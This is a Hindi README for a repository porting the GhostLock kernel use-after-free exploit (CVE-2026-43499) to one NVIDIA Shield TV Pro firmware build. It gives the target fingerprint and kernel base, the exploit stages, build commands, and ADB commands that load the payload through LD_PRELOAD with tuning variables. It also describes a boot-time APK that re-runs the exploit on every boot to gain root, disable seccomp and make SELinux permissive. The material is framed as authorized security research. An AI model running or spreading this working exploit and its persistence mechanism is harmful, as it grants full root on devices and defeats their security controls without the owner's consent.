
मान्य GhostLock CVE-2026-43499 पोर्ट NVIDIA Shield TV Pro mdarcy 9.2.4 के लिए
2019 NVIDIA Shield TV Pro (mdarcy) पर Shield Experience 9.2.4 चला रहे GhostLock futex PI use-after-free (CVE-2026-43499) का मान्य arm64 पोर्ट। पेलोड लाइव ADB डेमॉन की साख बदल देता है, इसलिए नए ADB शेल बूटलोडर अनलॉक, यूज़रडेटा वाइप, su इंस्टॉलेशन, या सत्यापित-पार्टीशन संशोधन के बिना UID 0 पर चलते हैं।
यह अधिकृत सुरक्षा अनुसंधान के लिए एक बिल्ड-विशिष्ट कर्नेल एक्सप्लॉइट है। बेमेल या खोई हुई रेस कर्नेल को पैनिक कर सकती है। इसे किसी अन्य फ़िंगरप्रिंट, कर्नेल, डिवाइस, या हार्डवेयर संशोधन पर न चलाएँ।
| फ़ील्ड | आवश्यक मान |
|---|---|
| उत्पाद | NVIDIA Shield TV Pro 2019, mdarcy |
| फ़िंगरप्रिंट | NVIDIA/mdarcy/mdarcy:11/RQ1A.210105.003/7825230_4387.0822:user/release-keys |
| कर्नेल | 4.9.141-tegra-gb6e5605a |
| Android पैच स्तर | 2026-01-05 |
| कर्नेल आधार | 0xffffff8008080000 (ऑफ़सेट अक्षम) |
पोर्ट को हरे Verified Boot और लागू dm-verity वाले लॉक किए गए डिवाइस पर मान्य किया गया था। वे तंत्र बरकरार रहते हैं क्योंकि एक्सप्लॉइट केवल लाइव कर्नेल स्थिति बदलता है।
सफल रन के बाद, एक नया कनेक्शन adbd और उसके चाइल्ड शेल दोनों के लिए UID/GID 0, क्षमता 37 तक पूर्ण क्षमताएँ, seccomp अक्षम, और SELinux permissive रिपोर्ट करता है। रूट ADB क्लाइंट डिस्कनेक्ट से बच जाता है। यह adbd पुनरारंभ या डिवाइस रीबूट से अपने आप नहीं बचता।
सत्यापित पार्टीशन संशोधित किए बिना व्यावहारिक रीबूट स्थिरता के लिए, रिपॉज़िटरी में एक यूज़रडेटा APK शामिल है। इसका गैर-निर्यातित BOOT_COMPLETED रिसीवर एक अल्पकालिक फ़ोरग्राउंड सेवा शुरू करता है, जो एक अनप्रिविलेज्ड ऐप UID से प्रति बूट एक बार हैश-पिन किया गया एक्सप्लॉइट चलाता है और रनर के बाहर निकलने पर रुक जाता है। इंस्टॉलेशन के बाद किसी बाहरी होस्ट की आवश्यकता नहीं है। एक बाहरी Podman वॉचडॉग पुनर्प्राप्ति फ़ॉलबैक के रूप में उपलब्ध रहता है। देखें persistence/README.md और watchdog/README.md।
यह स्वायत्त पुनः-एक्सप्लॉइटेशन है, स्थिर फ़र्मवेयर पैच नहीं: हर बूट में एक छोटा अंतराल होता है जिसमें adbd के पास अभी भी अपनी स्टॉक साख होती है। Android द्वारा इसे आरंभ करने से पहले adbd को रूट के रूप में शुरू करने के लिए सत्यापित बूट श्रृंखला बदलने की आवश्यकता होगी, जो इस लॉक किए गए, बिना-वाइप डिज़ाइन के दायरे से बाहर है।
rt_mutex_waiter बनाए रखें।MCAST_BLOCK_SOURCE से स्टैम्प करें और rt-mutex ट्री ऑपरेशन को पुनर्निर्देशित करें।mm_struct स्लैब पेज को पुनः प्राप्त करें।ashmem_misc.fops को लीगेसी configfs रीड/राइट हैंडलर द्वारा समर्थित नकली तालिका में पुनर्निर्देशित करें।adbd PID का पता लगाएँ, और इसकी पूर्ण साख वस्तु सत्यापित करें।विरासत में मिला पाइप-बफर भौतिक रीड/राइट चरण उपयोग नहीं किया जाता है। विस्तृत लक्ष्य अवलोकन और सत्यापित ऑफ़सेट PORT_STATUS.md में हैं।
कंपाइलर Android NDK r29 (aarch64-linux-android30-clang) है। स्थापित Linux NDK के साथ सीधे बिल्ड करें:
cd exploit
make NDK=/opt/android-ndk-r29
या आपूर्ति की गई Podman छवि बनाएँ, जो आधिकारिक r29 Linux संग्रह डाउनलोड करती है और निष्कर्षण से पहले इसका प्रकाशित SHA-1 जाँचती है:
podman build -t ghostlock-android:ndk-r29 -f build/Containerfile .
podman run --rm \
-v "$PWD:/src:Z" \
-w /src/exploit \
ghostlock-android:ndk-r29 make -B
आउटपुट:
exploit/build/preload-mdarcy-9.2.4.so
SHA-256 a3a1e75b627d8dd419e9bafd2a73082a8647510bf6ce4f975e52baf5aa1d0761
Shield बिल्ड जानबूझकर संदर्भ परियोजना के एम्बेडेड su डेमॉन और वॉलपेपर पेलोड को बाहर करता है।
अधिकृत नेटवर्क ADB पर कनेक्ट करें, रिलीज़ एसेट या स्थानीय बिल्ड पुश करें, फिर ADB शेल दर्ज करें:
adb connect SHIELD_ADDRESS:5555
adb -s SHIELD_ADDRESS:5555 push \
exploit/build/preload-mdarcy-9.2.4.so \
/data/local/tmp/preload-mdarcy-9.2.4.so
adb -s SHIELD_ADDRESS:5555 shell chmod 0755 \
/data/local/tmp/preload-mdarcy-9.2.4.so
adb -s SHIELD_ADDRESS:5555 shell
इसे उस डिवाइस शेल के अंदर चलाएँ:
GHOSTLOCK_FIXED_BASE=1 \
GHOSTLOCK_MAIN_ROUTE=slide-mcast \
GHOSTLOCK_SLIDE_FULL_LOCK=1 \
GHOSTLOCK_MIXED_ORDER_PAYLOAD=1 \
GHOSTLOCK_MM_PARTIALS=14 \
GHOSTLOCK_BUDDY_HOLD_PAIRS=256 \
GHOSTLOCK_BUDDY_HOLD_SENDS=8192 \
GHOSTLOCK_RECLAIM_PAIRS=64 \
GHOSTLOCK_RECLAIM_SENDS=2048 \
GHOSTLOCK_ADBD_ROOT_CONFIGFS=1 \
GHOSTLOCK_ADBD_PID="$(pidof adbd)" \
LD_PRELOAD=/data/local/tmp/preload-mdarcy-9.2.4.so \
/system/bin/true
सत्यापन के लिए डिस्कनेक्ट करें और एक नया ट्रांसपोर्ट खोलें:
adb disconnect SHIELD_ADDRESS:5555
adb connect SHIELD_ADDRESS:5555
adb -s SHIELD_ADDRESS:5555 shell id
adb -s SHIELD_ADDRESS:5555 shell \
'grep -E "^(Uid|Gid|Cap(Inh|Prm|Eff|Bnd|Amb)|Seccomp):" /proc/$(pidof adbd)/status'
पेलोड पहले से UID-0 वाले ADB शेल से पुनः ट्रिगर करने से इनकार करता है जब तक कि GHOSTLOCK_FORCE_ROOT_TRIGGER=1 जानबूझकर प्रदान न किया जाए। इसे बल न दें; विशेषाधिकार प्राप्त शेड्यूलिंग पथ में अलग PI व्यवहार है और यह पैनिक कर सकता है।
हस्ताक्षरित रिलीज़ APK को persistence/app/build/ghostlock-boot-mdarcy-9.2.4.apk पर डाउनलोड करें, फिर अधिकृत PowerShell ADB होस्ट से इसे इंस्टॉल और आर्म करें:
./persistence/install.ps1 `
-Target SHIELD_ADDRESS:5555 `
-AdbPath C:/path/to/platform-tools/adb.exe
इंस्टॉलर केवल यूज़रडेटा बदलता है और रीबूट नहीं करता। अगले BOOT_COMPLETED पर, ऐप सटीक फ़िंगरप्रिंट, कर्नेल, और एम्बेडेड पेलोड हैश सत्यापित करता है, अपना प्रयास रिकॉर्ड करता है, और अपने सामान्य ऐप UID से GhostLock को आमंत्रित करता है। एक फ़ाइल लॉक, प्रति-बूट एक-प्रयास स्थिति, और 15-मिनट का क्रॉस-बूट कूलडाउन डुप्लिकेट या रीबूट-लूप प्रयासों को रोकता है। यह कोई su बाइनरी स्थापित नहीं करता। Android केवल तब एक कम-प्राथमिकता वाला Restoring ADB root नोटिफिकेशन दिखाता है जब नेटिव रनर सक्रिय होता है; प्रक्रिया बाहर निकलने पर वेटर इसे हटा देता है। बिल्ड, साइनिंग, लॉग, सत्यापन, पुनर्प्राप्ति, और अनइंस्टॉल विवरण के लिए देखें persistence/README.md।
अंतिम APK को बाहरी वॉचडॉग बंद होने पर मान्य किया गया था: बूट गणना 134 ने पहले स्टॉक UID-2000/enforcing adbd उजागर किया, और अगला नया ट्रांसपोर्ट पूर्ण 0x3fffffffff क्षमता मास्क, seccomp अक्षम, और SELinux permissive के साथ UID/GID 0 था। सेवा और नोटिफिकेशन ने स्वयं को साफ कर लिया था।
मैनुअल-रन डायग्नोस्टिक्स समकालिक रूप से /sdcard/Download/log_<timestamp>.txt पर लिखे जाते हैं, /data/local/tmp पर फ़ॉलबैक के साथ। बूट ऐप रनर और पेलोड आउटपुट को अपने निजी files/boot.log पर पुनर्निर्देशित करता है, जो run-as com.cyberbalsa.ghostlockboot के साथ पठनीय है। यदि रेस कर्नेल को पैनिक करती है, तो प्री-ट्रिगर स्थिति उस बूट गणना में किसी अन्य प्रयास को रोकती है और 15-मिनट का कूलडाउन रीबूट के पार जारी रहता है।
exploit/src/: ट्रिगर, पुनः प्राप्ति, मनमाना रीड/राइट, और सीमित adbd साख पैच।exploit/targets/shield-mdarcy-9.2.4/: सटीक बिल्ड-विशिष्ट लक्ष्य लेआउट।analysis/: कर्नेल प्रतीक और लेआउट निष्कर्षण सहायक।persistence/: ऑन-डिवाइस बूट APK, नेटिव रनर, और इंस्टॉलर।watchdog/: हैश-पिन किया गया होस्ट-साइड पुनर्प्राप्ति फ़ॉलबैक।report.md: उत्पत्ति के लिए बनाए रखा गया मूल OPPO संदर्भ-पोर्ट विश्लेषण।यह पोर्ट NebuSec द्वारा प्रकाशित GhostLock अनुसंधान और एक्सप्लॉइट फ्रेमवर्क और yijiacloud द्वारा OPPO PCKM00 संदर्भ पोर्ट से लिया गया है। KernelSnitch अपनी अपस्ट्रीम शर्तों के तहत एम्बेडेड है।
Apache-2.0; देखें LICENSE।